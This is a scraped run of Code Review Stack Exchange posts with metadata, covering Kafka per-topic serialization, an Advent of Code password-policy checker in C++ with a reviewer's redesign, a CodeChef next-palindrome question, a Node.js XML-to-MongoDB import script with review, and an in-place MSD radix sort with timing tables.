props.put(ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG, bootstrapAddress);
props.put(ConsumerConfig.GROUP_ID_CONFIG, "tp-sale.request");
props.put(ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class);
props.put(ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG, ObjectFactoryDeserializer.class);
return new DefaultKafkaConsumerFactory<>(props);
}
@Bean
public ProducerFactory<String, Object> saleResponseFactoryProducerFactory() {
Map<String, Object> configProps = new HashMap<>();
configProps.put(ProducerConfig.BOOTSTRAP_SERVERS_CONFIG, bootstrapAddress);
configProps.put(ProducerConfig.KEY_SERIALIZER_CLASS_CONFIG, StringSerializer.class);
configProps.put(ProducerConfig.VALUE_SERIALIZER_CLASS_CONFIG, ObjectFactorySerializer.class);
return new DefaultKafkaProducerFactory<>(configProps);
}
@Bean
public ConcurrentKafkaListenerContainerFactory<String, Object> kafkaListenerContainerFactory() {
ConcurrentKafkaListenerContainerFactory<String, Object> factory = new ConcurrentKafkaListenerContainerFactory<>();
factory.setConsumerFactory(consumerFactory());
factory.setReplyTemplate(saleResponseFactoryKafkaTemplate());
return factory;
}
@Bean
public KafkaTemplate<String, Object> saleResponseFactoryKafkaTemplate() {
return new KafkaTemplate<>(saleResponseFactoryProducerFactory());
}
}
</code></pre>
<p><em><strong>Consumer</strong></em></p>
<pre><code>@Component
@KafkaListener(id = "tp-sale.request", topics = "tp-sale.request")
public class ConsumerListener {
private static final Logger LOGGER = LoggerFactory.getLogger(ConsumerListener.class);
@KafkaHandler
@SendTo("tp-sale.reply")
public AuthResponseFactory fooListener(AuthRequestFactory authRequestFactory) {
System.out.println("In AuthRequestFactoryListener: " + authRequestFactory);
AuthResponseFactory resObj = new AuthResponseFactory();
resObj.setUnique_id("123123");
return resObj;
}
@KafkaHandler
@SendTo("tp-sale.reply")
public SaleResponseFactory barListener(SaleRequestFactory saleRequestFactory) {
System.out.println("In SaleRequestFactoryListener: " + saleRequestFactory);
SaleResponseFactory resObj = new SaleResponseFactory();
resObj.setUnique_id("123123");
return resObj;
}
}
</code></pre>
<p>Full minimal working <a href="https://github.com/rcbandit111/skyobject_engine" rel="nofollow noreferrer">example</a></p>
<p>When I hit the endpoint <code>authorize_test</code> the code is working fine.</p>
<p>When I hit the endpoint <code>sale_test</code> the code is working fine.</p>
<p>Do you know how I can use object type per Kafka Topic. Currently the consumer and Producer don't know what type is send/received. Standart Java Object is defined. How I can improve this code?</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T00:00:31.170",
"Id": "255427",
"Score": "0",
"Tags": [
"java",
"apache-kafka"
],
"Title": "Redesign Kafka serialized communication to use object type per Kafka Topic"
}
|
255427
|
<p>Original: <a href="https://codereview.stackexchange.com/q/254260/188857">Advent of Code 2020 - Day 2: validating passwords</a></p>
<h1>Problem statement</h1>
<p>I decided to translate my Rust solution to <a href="https://adventofcode.com/2020" rel="nofollow noreferrer">Advent of Code 2020</a> into C++ to increase my familiarity with C++. Here's the task for Day 2:</p>
<blockquote>
<h2>Day 2: Password Philosophy</h2>
<p>[...]</p>
<p>To try to debug the problem, they have created a list (your puzzle
input) of passwords (according to the corrupted database) and the
corporate policy when that password was set.</p>
<p>For example, suppose you have the following list:</p>
<pre><code>1-3 a: abcde
1-3 b: cdefg
2-9 c: ccccccccc
</code></pre>
<p>Each line gives the password policy and then the password. <strong>The
password policy indicates the lowest and highest number of times a
given letter must appear for the password to be valid.</strong> For example,
<code>1-3 a</code> means that the password must contain <code>a</code> at least <code>1</code> time and
at most <code>3</code> times.</p>
<p>In the above example, <code>2</code> passwords are valid. The middle password,
<code>cdefg</code>, is not; it contains no instances of <code>b</code>, but needs at least
<code>1</code>. The first and third passwords are valid: they contain one <code>a</code> or
nine <code>c</code>, both within the limits of their respective policies.</p>
<p><strong>How many passwords are valid according to their policies?</strong></p>
<p>[...]</p>
<h3>Part Two</h3>
<p>While it appears you validated the passwords correctly, they don't
seem to be what the Official Toboggan Corporate Authentication System
is expecting.</p>
<p>The shopkeeper suddenly realizes that he just accidentally explained
the password policy rules from his old job at the sled rental place
down the street! The Official Toboggan Corporate Policy actually works
a little differently.</p>
<p><strong>Each policy actually describes two positions in the password, where <code>1</code> means the first character, <code>2</code> means the second character, and so
on.</strong> (Be careful; Toboggan Corporate Policies have no concept of
"index zero"!) <strong>Exactly one of these positions must contain the given
letter.</strong> Other occurrences of the letter are irrelevant for the
purposes of policy enforcement.</p>
<p>Given the same example list from above:</p>
<ul>
<li><code>1-3 a: abcde</code> is valid: position <code>1</code> contains <code>a</code> and position <code>3</code> does not.</li>
<li><code>1-3 b: cdefg</code> is invalid: neither position <code>1</code> nor position <code>3</code> contains <code>b</code>.</li>
<li><code>2-9 c: ccccccccc</code> is invalid: both position <code>2</code> and position <code>9</code> contain <code>c</code>.</li>
</ul>
<p><strong>How many passwords are valid according to the new interpretation of the policies?</strong></p>
</blockquote>
<p>The full story can be found on the <a href="https://adventofcode.com/2020/day/2" rel="nofollow noreferrer">website</a>.</p>
<h1>My solution</h1>
<p><strong>lib.hpp</strong></p>
<pre class="lang-cpp prettyprint-override"><code>#ifndef INC_LIB_HPP_KwANAGBG9S
#define INC_LIB_HPP_KwANAGBG9S
#include <algorithm>
#include <cstddef>
#include <iostream>
#include <string>
#include <utility>
// must be NTBS
constexpr const char* PATH = "./data/day_2/input";
enum class Policy { Old, New };
struct Entry {
std::pair<std::size_t, std::size_t> numbers;
std::string password;
char key;
bool is_valid(Policy policy) const {
switch (policy) {
case Policy::Old: {
auto frequency = static_cast<std::size_t>(
std::count(password.begin(), password.end(), key)
);
return frequency >= numbers.first && frequency <= numbers.second;
}
case Policy::New: {
auto pos_a = numbers.first - 1;
auto pos_b = numbers.second - 1;
if (pos_a >= password.size() || pos_b >= password.size()) {
return false;
}
// logical xor
return (password[pos_a] == key) != (password[pos_b] == key);
}
}
}
};
// error checking omitted
inline std::istream& operator>>(std::istream& is, Entry& entry) {
is >> entry.numbers.first;
is.get(); // consume '-'
is >> entry.numbers.second >> entry.key;
is.get(); // consume ':'
is >> entry.password;
return is;
}
#endif
</code></pre>
<p><strong>main.cpp</strong></p>
<pre class="lang-cpp prettyprint-override"><code>#include "lib.hpp"
#include <fstream>
int main() {
std::ifstream file{PATH};
std::size_t valid_count_old = 0;
std::size_t valid_count_new = 0;
for (Entry entry; file >> entry;) {
if (entry.is_valid(Policy::Old)) {
++valid_count_old;
}
if (entry.is_valid(Policy::New)) {
++valid_count_new;
}
}
std::cout << "Part One: " << valid_count_old << '\n'
<< "Part Two: " << valid_count_new << '\n';
}
</code></pre>
|
[] |
[
{
"body": "<p><strong>unnecessary global:</strong></p>\n<p><code>constexpr const char* PATH = "./data/day_2/input";</code></p>\n<p>Not sure this should be a global in the header file. It could just be a local variable in <code>main()</code>.</p>\n<hr />\n<p><strong>naming:</strong></p>\n<p>Note that "policy" in the instructions refers to the special character and accompanying numbers.</p>\n<p>The <code>Policy</code> enum in the code, might more accurately be called <code>AuthSystem</code> or <code>PolicyType</code>.</p>\n<hr />\n<p><strong>design:</strong></p>\n<p>The <code>Entry</code> class is fine for data input, but I don't think password validation should be built into it (the member variables actually represent different things depending on the authentication system we use, even if we happen to use the same struct for data input at the moment).</p>\n<p>Since we need an if statement to separate the two password policies in <code>main()</code>. Having a <code>Policy</code> enum and a <code>switch</code> statement inside the password checking function is not necessary.</p>\n<p>We can have two free functions, one for each authentication system, and simple (unrelated) structs with correct variable names for the policy data:</p>\n<pre><code>struct OldPolicy{ char key_char; std::size_t min_key_freq; std::size_t max_key_freq; };\nbool is_password_valid(std::string const& password, OldPolicy policy);\n\nstruct NewPolicy { char key_char; std::size_t first_key_index; std::size_t second_key_index; };\nbool is_password_valid(std::string const& password, NewPolicy policy);\n</code></pre>\n<hr />\n<p><strong>check policies on input:</strong></p>\n<p>We should have a separate step validating the <strong>policy</strong> before we try to use the policy to check the password:</p>\n<ul>\n<li>Check that min and max frequencies are a valid range (not zero, min is less than max).</li>\n<li>Check that the indices are valid (not the same, not zero).</li>\n<li>Convert to zero-based indices (so the subtraction happens in one place only).</li>\n</ul>\n<p>If something goes wrong here we should throw, instead of trying to check the password.</p>\n<hr />\n<p>I think I'd go with something a bit like this:</p>\n<pre><code>#include <signal.h>\n\nvoid die() { raise(SIGTRAP); } // __debugbreak(); // msvc\nvoid die_if(bool condition) { if (condition) die(); }\n\n#include <algorithm>\n#include <cstddef>\n#include <exception>\n#include <string>\n\nnamespace old_auth\n{\n\n struct Policy\n {\n char key;\n std::size_t min_key_freq, max_key_freq;\n };\n\n bool is_password_valid(std::string const& password, Policy policy)\n {\n die_if(policy.min_key_freq > policy.max_key_freq);\n\n if (password.size() < policy.min_key_freq) return false;\n\n auto key_count = static_cast<std::size_t>(std::count(password.begin(), password.end(), policy.key));\n return (key_count >= policy.min_key_freq && key_count <= policy.max_key_freq);\n }\n \n} // old_auth\n\nnamespace new_auth\n{\n\n struct Policy\n { \n char key;\n std::size_t key_index_1, key_index_2;\n };\n\n bool is_password_valid(std::string const& password, Policy policy)\n {\n die_if(policy.key_index_1 == policy.key_index_2);\n\n if (policy.key_index_1 >= password.size()) return false;\n if (policy.key_index_2 >= password.size()) return false;\n\n return (password[policy.key_index_1] == policy.key) != (password[policy.key_index_2] == policy.key);\n }\n \n} // new_auth\n\n#include <cstddef>\n#include <fstream>\n#include <iostream>\n\nstruct Entry\n{\n char key;\n std::size_t a, b;\n std::string password;\n};\n\nstd::istream& operator>>(std::istream& is, Entry& entry)\n{\n is >> entry.a;\n is.get();\n is >> entry.b;\n is >> entry.key;\n is.get();\n is >> entry.password;\n \n return is;\n}\n\n// maybe this should be a constructor?\nold_auth::Policy make_old_auth_policy(char key, std::size_t min_key_freq, std::size_t max_key_freq)\n{\n if (min_key_freq > max_key_freq || min_key_freq == 0)\n throw std::runtime_error("invalid password policy (old)");\n\n return { key, min_key_freq, max_key_freq };\n}\n\n// maybe this should be a constructor? but I don't like doing the index conversion there...\nnew_auth::Policy make_new_auth_policy(char key, std::size_t one_based_key_pos_1, std::size_t one_based_key_pos_2)\n{\n if (one_based_key_pos_1 == 0 || one_based_key_pos_2 == 0 || one_based_key_pos_1 == one_based_key_pos_2)\n throw std::runtime_error("invalid password policy (new)");\n\n return { key, one_based_key_pos_1 - 1, one_based_key_pos_2 - 1 };\n}\n\nint main()\n{\n auto file = std::ifstream("data.txt");\n \n auto valid_old = std::size_t{ 0 };\n auto valid_new = std::size_t{ 0 };\n \n for (auto entry = Entry(); file >> entry; )\n {\n if (old_auth::is_password_valid(entry.password, make_old_auth_policy(entry.key, entry.a, entry.b)))\n ++valid_old;\n \n if (new_auth::is_password_valid(entry.password, make_new_auth_policy(entry.key, entry.a, entry.b)))\n ++valid_new;\n }\n \n std::cout << "Part One: " << valid_old << "\\n" << "Part Two: " << valid_new << "\\n";\n}\n</code></pre>\n<p>(not properly tested).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T02:14:59.150",
"Id": "504093",
"Score": "0",
"body": "Thanks. Many of these changes are applicable to my Rust code as well, especially the policy part - I was just feeling lazy at that time, so I added a policy parameter instead of making a proper class."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T12:09:33.820",
"Id": "255438",
"ParentId": "255431",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "255438",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T04:41:24.857",
"Id": "255431",
"Score": "1",
"Tags": [
"c++",
"programming-challenge",
"validation",
"c++17"
],
"Title": "Advent of Code 2020 - Day 2: validating passwords (C++ version)"
}
|
255431
|
<p>This is codechef beginner problem.
How I can make it efficient, It is taking 2.09 sec while time limit is 2.0764 secs.</p>
<p><strong>Problem is:</strong>
For a given positive integer K of not more than 1000000 digits, write the value of the smallest palindrome larger than K to output. Numbers are always displayed without leading zeros.</p>
<p><a href="https://www.codechef.com/problems/PALIN" rel="nofollow noreferrer">https://www.codechef.com/problems/PALIN</a></p>
<pre><code>#include<iostream>
using namespace std;
long int reverse_num(long int n){
long int reversenumber=0,remainder1;
while(n != 0){
remainder1 = n%10;
reversenumber = (reversenumber*10)+remainder1;
n /= 10;
}
return reversenumber;
}
int main(){
int T;
cin>>T;
while(T--){
long int n,reversenum;
bool chek;
cin>>n;
n = n+1;
bool flag = false;
while(!flag){
reversenum = reverse_num(n);
(n == reversenum) ? flag = true : flag = false;
n++;
}
cout<<reversenum;
}
return 0;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T10:45:03.747",
"Id": "503989",
"Score": "1",
"body": "Please include the description of the programming challenge to increase odds of receiving more detailed answers. If you have a problem of `time-limit-exceeded` you can add the corresponding tag to your question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T14:32:46.267",
"Id": "504062",
"Score": "0",
"body": "*a given positive integer K of not more than 1000000 digits*: such a number in a `long int` ???"
}
] |
[
{
"body": "<p>You can simplify the loop in <code>main</code>. <code>flag</code> is unnecessary. Just use an infinite loop with a break statement. Also, because you know that any number with a zero as the last digit won't be a palindrome, you can skip those.</p>\n<p>Putting those together, you get:</p>\n<pre><code>for (;;) {\n reversenum = reverse_num(n);\n if (reversenum == n) break;\n ++n;\n if (n % 10 == 0) ++n;\n}\n</code></pre>\n<p>This will skip about 10% of the possible candidates.</p>\n<p>An additional possible improvement (which is left as an exercise for the reader) involves determining what the largest digit of <code>n</code> is, then only looking at numbers that have a last digit that matches. This would allow you to skip 90% of the possible candidates with little additional overhead.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T16:19:51.597",
"Id": "255440",
"ParentId": "255435",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T10:17:49.300",
"Id": "255435",
"Score": "1",
"Tags": [
"c++",
"time-limit-exceeded",
"c++14"
],
"Title": "The Next Palindrome - CodeChef"
}
|
255435
|
<p>Here is my code which will read XML files and import the data to MongoDb. Do you have any comments on my code?</p>
<pre><code>const fs = require('fs');
const xml2js = require('xml2js');
const log = console.log;
const path = require( "path" );
const folderPath = 'D:/Data';
const folder = folderPath;
fs.readdirSync(folder).forEach(file => {
const extname = path.extname(file);
const filename = path.basename(file, extname);
const absolutePath = path.resolve(folder, file);
const parser = new xml2js.Parser({
mergeAttrs: true,
explicitArray: false
});
fs.readFile(absolutePath, (err, data) => {
parser.parseString(data, (err, result) => {
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";
MongoClient.connect(url, function (err, db) {
if (err) throw err;
var dbo = db.db("myDb");
dbo.collection("entity").insertMany(result, function (err, res) {
if (err) throw err;
db.close();
});
});
});
});
});
</code></pre>
<p>I tested that it works for few files but for hundreds of files, it can throw an error.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T13:39:40.810",
"Id": "503992",
"Score": "1",
"body": "What's the error it throws?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T14:29:27.853",
"Id": "503993",
"Score": "0",
"body": "Connection time out. Should I post it to stack overflow instead?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T18:41:21.857",
"Id": "504006",
"Score": "1",
"body": "Yeah sure,\nI think your issue is with the fact you do your reading synchronously, thus blocking your main thread (and killing the process due to a timeout).\n\nTry running it asynchronously first."
}
] |
[
{
"body": "<h2>Variable declaration keywords</h2>\n<p>One thing I notice is that the <code>var</code> keyword is used in some functions while others use <code>const</code>. The variables <code>dbo</code>, <code>MongoClient</code> and <code>url</code> are never reassigned so <code>const</code> can be used for those. Using <code>const</code> when re-assignment isn't needed is a good habit because it can help avoid <a href=\"https://softwareengineering.stackexchange.com/a/278653/244085\">accidental re-assignment and other bugs</a>. Many users also believe <code>var</code> should not be used with ES6 code - refer to the <a href=\"https://eslint.org/docs/rules/no-var\" rel=\"nofollow noreferrer\">ES lint rule <code>no-var</code></a>.</p>\n<h2>nested callbacks</h2>\n<p>The code is bordering on <a href=\"http://callbackhell.com\" rel=\"nofollow noreferrer\">callback hell</a>. I'd suggest moving anonymous functions out to being named functions. This will also help with automated testing. Let's look at the inner most function:</p>\n<pre><code>const insertionCallback = (db, err, res) {\n if (err) throw err;\n\n db.close();\n};\n</code></pre>\n<p>It needs a reference to <code>db</code>. That could be made a parameter:</p>\n<pre><code>function (db, err, res) {\n</code></pre>\n<p>Then when making a reference to that function, make a <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_objects/Function/bind#partially_applied_functions\" rel=\"nofollow noreferrer\">partially applied function</a> with <code>db</code> as the first argument:</p>\n<pre><code>dbo.collection("entity").insertMany(result, insertionCallback.bind(null, db))\n</code></pre>\n<p>Or instead of accepting <code>db</code> as a parameter, set the context to it:</p>\n<pre><code>dbo.collection("entity").insertMany(result, insertionCallback.bind(db))\n</code></pre>\n<p>after doing that <code>this</code> could be used instead of <code>db</code> within that <code>insertionCallback</code> function.</p>\n<p>Then continue pulling out those nested functions - e.g. :</p>\n<pre><code>const insertResult = (result, err, db) => {\n if (err) throw err;\n\n const dbo = db.db("myDb");\n\n dbo.collection("entity").insertMany(result, insertionCallback.bind(null, db));\n};\n</code></pre>\n<p>Then that function can be used in its outer function:</p>\n<pre><code>const handleParsedStr = (err, result) => {\n\n const MongoClient = require('mongodb').MongoClient;\n const url = "mongodb://localhost:27017/";\n\n MongoClient.connect(url, insertResult.bind(null, result));\n});\n</code></pre>\n<p>And that functions can be used as the callback to <code>parser.parseString()</code>:</p>\n<pre><code>parser.parseString(data, handleParsedStr);\n</code></pre>\n<h2>error handling</h2>\n<p>Some of the callback functions check error arguments like <code>err</code> and conditionally handle such cases, but others don't- e.g. the callback to <code>parser.parseString()</code>. It is advisable to handle such errors, and would also make the code more consistent.</p>\n<h2>parser declared within forEach callback function</h2>\n<p>The variable <code>parser</code> is declared within the callback function to the <code>.forEach()</code> method. This means the parser is created once for each file in the directory. If possible, consider declaring it outside the loop to reduce resource requirements.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T23:06:05.927",
"Id": "504085",
"Score": "1",
"body": "Thanks a lot for the comprehensive review. Learned much here :)"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T17:34:26.690",
"Id": "255471",
"ParentId": "255439",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "255471",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T12:45:32.543",
"Id": "255439",
"Score": "0",
"Tags": [
"javascript",
"node.js",
"ecmascript-6",
"io",
"mongodb"
],
"Title": "Import XML files to MongoDb with Nodejs"
}
|
255439
|
<p><em><strong>Memory</strong></em>:O(log(max)base(mod)*mod)<br><em><strong>Speed</strong></em>:O(log(max)base(mod)*n)<br></p>
<p>I did a radix sort in place to not get a auxliar array. In the process i discorver a few things.</p>
<ul>
<li><p>Is imposible to do <strong>LSD radix sort in place</strong> with out <strong>sacrifice speed</strong>, belive me if i say i try. THIS WILL BE NOT EXPLAING</p>
</li>
<li><p><strong>counting sort</strong>, you can do it for <strong>in place</strong>(with O(n) and <strong>object/pointer oriented</strong>), BUT is <strong>UNSTABLE</strong>. this will be explain here.</p>
</li>
<li><p>mod (num%mod) <strong>use idiv/div</strong> if the value(<strong>mod</strong>) is not determined in compilation time.</p>
</li>
</ul>
<h1>Memory</h1>
<p>The algorim use O(( N~excess(log(max)base(mod)) +2)*mod)</p>
<p>this is the part of the code:</p>
<pre><code> size_t max = get_max(arr, size);
const size_t num_count = logb_pow2(max, mod_pow2);
size_t* count_control = new size_t[1 << mod_pow2];
for (size_t i = 0; i < 1 << mod_pow2; i++)
count_control[i] = 0;
//------------------
size_t** counts = new size_t * [num_count];
for (size_t i = 0; i < num_count; i++) {
counts[i] = new size_t[1 << mod_pow2];
}
</code></pre>
<h1>Algorithm</h1>
<p>I will explain this with points so is more easy for me:</p>
<ul>
<li><p>As you see up there we are using <em><strong>count_control</strong></em> i use this for 2 resons:</p>
<ol>
<li>So we can do sort with out modify counts, because we will use this as pointers</li>
<li>will be no aditional caculations.</li>
</ol>
</li>
<li><p>the algorithm is recursive, like a quick sort, using counts as pivots</p>
</li>
<li><p>the i am using <em><strong>UNSTABLE</strong></em> sort and i will explain how with a table:</p>
</li>
</ul>
<p><img src="https://i.ibb.co/1qbPrXJ/radix-sort-MSD-Leixor.png" alt="text" /></p>
<h1>Code</h1>
<ul>
<li><p>I made custom get_max and log base 2, so i can forget adding more libs.</p>
</li>
<li><p>also i made a custom mod so one can chose, how large is memory in use, base on previous calculations. With out the compiler use idiv or div intruccions.</p>
</li>
<li><p>also i made a object oriented and pointer object oriented code.</p>
</li>
</ul>
<h3>the code</h3>
<pre><code>#pragma once
namespace leixor {
//we write the mod pow 2 to avoid idv instruccion of the compiler
static constexpr size_t modpow2(size_t& num, size_t& mod_pow2) {
return num - (num >> mod_pow2 << mod_pow2);
}
static constexpr size_t modpow2(size_t& num, size_t mod_pow2) {
return num - (num >> mod_pow2 << mod_pow2);
}
static constexpr size_t modpow2(size_t num, size_t mod_pow2) {
return num - (num >> mod_pow2 << mod_pow2);
}
//fast log in power of 2
static size_t& logb_pow2(size_t num, const size_t& base_pow2) {
size_t aux = 1;
if (base_pow2 == 0) return aux = -1;
while (0 < (num >>= base_pow2))
aux++;
return aux;
}
//------------------------obj version---------------------------
//custom get_max because i don't wanna add lib,and normaly we will use this in a custom class
template<class obj_arr>
static size_t& get_max(obj_arr*& arr, const size_t& size) {
size_t i = modpow2(size, 1), aux = arr[0].get_size_t(), aux2;
for (; i < size; i += 2) {
aux2 = arr[i].get_size_t();
aux = aux2 * (aux < aux2) + aux * (aux >= aux2);
aux2 = arr[i + 1].get_size_t();
aux = aux2 * (aux < aux2) + aux * (aux >= aux2);
}
return aux;
}
template<class obj_arr>
void countrad(
size_t depth,
obj_arr*& arr,
size_t*& count_control, size_t**& counts, size_t& mod_pow2,
size_t start, size_t finish
) {
size_t i;
static size_t move;
static obj_arr auxiliar;
depth--;
for (i = start; i < finish; i++) {
count_control[modpow2(arr[i].get_size_t() >> (depth * mod_pow2), mod_pow2)]++;
}
counts[depth][0] = start;
for (i = 1; i < 1 << mod_pow2; i++) {
counts[depth][i] = counts[depth][i - 1] + count_control[i - 1];
}
for (i = 0; i < 1 << mod_pow2; i++) {
while (count_control[i] > 0) {
auxiliar = arr[counts[depth][i] + count_control[i] - 1];
move = modpow2(auxiliar.get_size_t() >> (depth * mod_pow2), mod_pow2);
arr[counts[depth][i] + count_control[i] - 1] = arr[counts[depth][move] + count_control[move] - 1];
arr[counts[depth][move] + count_control[move] - 1] = auxiliar;
count_control[move]--;
}
}
if (depth > 0) {
start = counts[depth][(1 << mod_pow2) - 1];
countrad(depth, arr, count_control, counts, mod_pow2, start, finish);
for (i = 0; i < (1 << mod_pow2) - 1; i++) {
start = counts[depth][i];
finish = counts[depth][i + 1];
countrad(depth, arr, count_control, counts, mod_pow2, start, finish);
}
}
}
template<class obj_arr>
bool radix_sort_ftl(obj_arr* arr, size_t size, size_t mod_pow2 = 4) {
if (mod_pow2 == 0 || size < 2)
return false;
size_t max = get_max(arr, size), start = 0, finish = size;
const size_t num_count = logb_pow2(max, mod_pow2);
//we use count_control so we don't need a axiliar memory the same size as arr
size_t* count_control = new size_t[1 << mod_pow2];
for (size_t i = 0; i < 1 << mod_pow2; i++)
count_control[i] = 0;
//------------------
size_t** counts = new size_t * [num_count];
for (size_t i = 0; i < num_count; i++) {
counts[i] = new size_t[1 << mod_pow2];
}
countrad(num_count, arr, count_control, counts, mod_pow2, start, finish);
delete[] count_control;
for (size_t i = 0; i < num_count; i++)
delete[] counts[i];
delete[]counts;
return true;
}
//----------------------------pointer obj version---------------------
template<class obj_arr>
static size_t& get_max(obj_arr**& arr, const size_t& size) {
size_t i = modpow2(size, 1), aux = arr[0]->get_size_t(), aux2;
for (; i < size; i += 2) {
aux2 = arr[i]->get_size_t();
aux = aux2 * (aux < aux2) + aux * (aux >= aux2);
aux2 = arr[i + 1]->get_size_t();
aux = aux2 * (aux < aux2) + aux * (aux >= aux2);
}
return aux;
}
template<class obj_arr>
void countrad(
size_t depth,
obj_arr**& arr,
size_t*& count_control, size_t**& counts, size_t& mod_pow2,
size_t start, size_t finish
) {
size_t i;
static size_t move;
static obj_arr* auxiliar;
depth--;
for (i = start; i < finish; i++) {
count_control[modpow2(arr[i]->get_size_t() >> (depth * mod_pow2), mod_pow2)]++;
}
counts[depth][0] = start;
for (i = 1; i < 1 << mod_pow2; i++) {
counts[depth][i] = counts[depth][i - 1] + count_control[i - 1];
}
for (i = 0; i < 1 << mod_pow2; i++) {
while (count_control[i] > 0) {
auxiliar = arr[counts[depth][i] + count_control[i] - 1];
move = modpow2(auxiliar->get_size_t() >> (depth * mod_pow2), mod_pow2);
arr[counts[depth][i] + count_control[i] - 1] = arr[counts[depth][move] + count_control[move] - 1];
arr[counts[depth][move] + count_control[move] - 1] = auxiliar;
count_control[move]--;
}
}
if (depth > 0) {
start = counts[depth][(1 << mod_pow2) - 1];
countrad(depth, arr, count_control, counts, mod_pow2, start, finish);
for (i = 0; i < (1 << mod_pow2) - 1; i++) {
start = counts[depth][i];
finish = counts[depth][i + 1];
countrad(depth, arr, count_control, counts, mod_pow2, start, finish);
}
}
}
template<class obj_arr>
bool radix_sort_ftl(obj_arr** arr, size_t size, size_t mod_pow2 = 4) {
if (mod_pow2 == 0 || size < 2)
return false;
size_t max = get_max(arr, size), start = 0, finish = size;
const size_t num_count = logb_pow2(max, mod_pow2);
//we use count_control so we don't need a axiliar memory the same size as arr
size_t* count_control = new size_t[1 << mod_pow2];
for (size_t i = 0; i < 1 << mod_pow2; i++)
count_control[i] = 0;
//------------------
size_t** counts = new size_t * [num_count];
for (size_t i = 0; i < num_count; i++) {
counts[i] = new size_t[1 << mod_pow2];
}
countrad(num_count, arr, count_control, counts, mod_pow2, start, finish);
delete[] count_control;
for (size_t i = 0; i < num_count; i++)
delete[] counts[i];
delete[]counts;
return true;
}
}
</code></pre>
<h1>Run Times</h1>
<p>the time of the runtime is O(log(max)base(mod)*n)</p>
<p>the tables are in milliseconds</p>
<p>BTW, my cpu is from 2014, and i got very limited ram so yeah</p>
<pre><code>/*
--------------------------------------------------
----------------object oriented version-----------
--------------------------------------------------
------------------size mod of 4 ------------------
---------------------size pow 10------------------
--------------------------------------------------
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |
--------------------------------------------------
max|2 |0.0076|0.0236|0.2069|2.4733|26.9838|255.068|2309.22
--------------------------------------------------
num|3 |0.0167|0.0419|0.3858|4.1228|44.7138|433.727|4314.11
--------------------------------------------------
pow|4 |0.0101|0.0432|0.4358|4.5905|42.4533|429.153|4314.23
--------------------------------------------------
|5 |0.0143|0.0713|0.6083|6.1008|62.0323|630.773|6315.29
--------------------------------------------------
2 |6 |0.0163|0.0621|0.6158|7.3441|62.1267|628.958|6304.4
--------------------------------------------------
------------------size mod of 8 ------------------
---------------------size pow 10------------------
--------------------------------------------------
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |
--------------------------------------------------
max|2 |0.1094|0.0263|0.2302|2.1466|22.7497|228.865|2303.3
--------------------------------------------------
num|3 |0.0093|0.0242|0.2205|2.2055|22.8613|226.658|2314.24
--------------------------------------------------
pow|4 |0.0117|0.0447|0.5455|4.4147|43.9577|432.973|4406.73
--------------------------------------------------
|5 |0.0124|0.0445|0.4058|4.055|41.8984|430.084|4326.23
--------------------------------------------------
2 |6 |0.0117|0.0433|0.4014|4.6221|42.2156|433.02|4341.24
--------------------------------------------------
------------------size mod of 16 ------------------
---------------------size pow 10------------------
--------------------------------------------------
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |
--------------------------------------------------
max|2 |0.0191|0.0243|0.2243|2.1877|23.1079|230.527|2293.82
--------------------------------------------------
num|3 |0.0093|0.0238|0.214|2.1241|22.3461|235.777|2295.13
--------------------------------------------------
pow|4 |0.0086|0.0272|0.2134|2.224|23.807|228.782|2297.63
--------------------------------------------------
|5 |0.0145|0.0466|0.473|4.7459|43.1028|430.736|4299.26
--------------------------------------------------
2 |6 |0.0215|0.0464|0.4031|4.2045|41.8412|429.463|4291.11
--------------------------------------------------
------------------size mod of 32 ------------------
---------------------size pow 10------------------
--------------------------------------------------
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |
--------------------------------------------------
max|2 |0.0102|0.0281|0.2348|2.2269|23.0951|233.078|2282.3
--------------------------------------------------
num|3 |0.0195|0.0281|0.2142|2.2431|22.5763|231.902|2284.49
--------------------------------------------------
pow|4 |0.0134|0.0274|0.2268|2.2565|22.737|231.406|2293.99
--------------------------------------------------
|5 |0.0147|0.0282|0.343|2.1646|24.4202|236.879|2325.05
--------------------------------------------------
2 |6 |0.0325|0.0547|0.4244|4.1533|43.6177|433.502|4326.64
--------------------------------------------------
--------------------------------------------------
----------------pointer oriented version-----------
--------------------------------------------------
------------------size mod of 4 ------------------
---------------------size pow 10------------------
--------------------------------------------------
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |
--------------------------------------------------
max|2 |0.0056|0.0165|0.1427|1.507|17.7379|182.47|1823.31
--------------------------------------------------
